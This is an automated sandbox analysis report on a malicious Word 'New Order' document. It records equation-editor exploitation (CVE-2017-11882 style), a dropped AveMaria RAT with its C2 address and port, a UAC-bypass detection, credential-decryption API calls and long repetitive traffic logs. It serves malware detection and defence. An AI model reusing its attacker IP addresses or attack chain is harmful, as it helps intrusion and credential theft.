Windows Analysis Report
New Order ( MY 01-22-DTHI .doc

Multi AV Scanner detection for domain / URL

Source: Yara match	File source: 5.2.fiftikmernk852317.exe.242053f.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.fiftikmernk852317.exe.9a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.fiftikmernk852317.exe.242053f.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000003.980052176.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.979964184.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.980132553.00000000004DF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.979955423.00000000004CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1180934477.0000000002420000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1180424961.00000000009B4000.00000002.00001000.00020000.00000000.sdmp, type: MEMORY

Source: 76.8.53.133

Virustotal: Detection: 10%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\fifthikmerozx[1].exe	ReversingLabs: Detection: 57%
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	ReversingLabs: Detection: 57%

Source: 5.2.fiftikmernk852317.exe.242053f.4.unpack	Avira: Label: TR/Patched.Ren.Gen3
Source: 5.2.fiftikmernk852317.exe.9a0000.0.unpack	Avira: Label: TR/Redcap.ghjpt
Source: 8.2.cmd.exe.2930000.0.unpack	Avira: Label: TR/Patched.Gen

Source: 5.2.fiftikmernk852317.exe.242053f.4.raw.unpack

Malware Configuration Extractor: AveMaria {"C2 url": "76.8.53.133", "port": 1198}

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Code function: 5_2_009AB15E lstrlenA,CryptStringToBinaryA,lstrcpyA,
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Code function: 5_2_009ACAFC CryptUnprotectData,LocalAlloc,LocalFree,
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Code function: 5_2_009ACCB4 BCryptOpenAlgorithmProvider,BCryptSetProperty,BCryptGenerateSymmetricKey,
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Code function: 5_2_009ACC54 CryptStringToBinaryW,LocalAlloc,CryptStringToBinaryW,LocalFree,
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Code function: 5_2_009AA632 RegQueryValueExW,GlobalAlloc,CryptUnprotectData,lstrcpyW,
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Code function: 5_2_009ACF58 LocalAlloc,BCryptDecrypt,LocalFree,

Exploits

Yara detected UACMe UAC Bypass tool

Source: Yara match	File source: 5.3.fiftikmernk852317.exe.4ce9f8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.fiftikmernk852317.exe.24389af.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.fiftikmernk852317.exe.4cff90.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.fiftikmernk852317.exe.4cd188.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.fiftikmernk852317.exe.242053f.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.fiftikmernk852317.exe.9a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.fiftikmernk852317.exe.242053f.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.1180934477.0000000002420000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1180455880.0000000000AEF000.00000002.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.980168722.00000000004CD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.980064261.00000000004D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: fiftikmernk852317.exe PID: 912, type: MEMORYSTR

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe

Office equation editor establishes network connection

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Network connect: IP: 208.67.105.179 Port: 80

Source: ~WRF{F633E147-4322-4DEF-8D52-47EC935B75D3}.tmp.0.dr

Stream path '_1721281446/\x1CompObj' : ...................F....Microsoft Equation 3.0....

Source: unknown

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe

Directory created: C:\Program Files\Microsoft DN1

C2 URLs / IPs found in malware configuration

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000006.00000002.988694362.00000000029B6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdbAA source: powershell.exe, 00000006.00000002.993133071.00000000057CD000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: G??\C:\Windows\system32\netutils.dllhell\v1.0\netutils.dllnfig\v2.0.50727.312\security.config.cch.1468.35906984on.pdby.resources.exes.exeI.ni.dlle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\.Ne source: powershell.exe, 00000006.00000002.988242865.0000000000534000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\System.Management.Automation.pdbK source: powershell.exe, 00000006.00000002.988694362.00000000029B6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: indows\System.Management.Automation.pdbpdbion.pdb^ source: powershell.exe, 00000006.00000002.988694362.00000000029B6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000006.00000002.988694362.00000000029B6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000006.00000002.988694362.00000000029B6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\symbols\dll\System.Management.Automation.pdb source: powershell.exe, 00000006.00000002.988694362.00000000029B6000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe

Code function: 5_2_009B002B GetLogicalDriveStringsW,GetLogicalDriveStringsW,GetDriveTypeW,

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Code function: 5_2_009A9DF6 GetFullPathNameA,PathCombineA,PathCombineA,FindFirstFileA,PathCombineA,PathCombineA,FindNextFileA,
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Code function: 5_2_009AFF27 FindFirstFileW,FindNextFileW,

Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
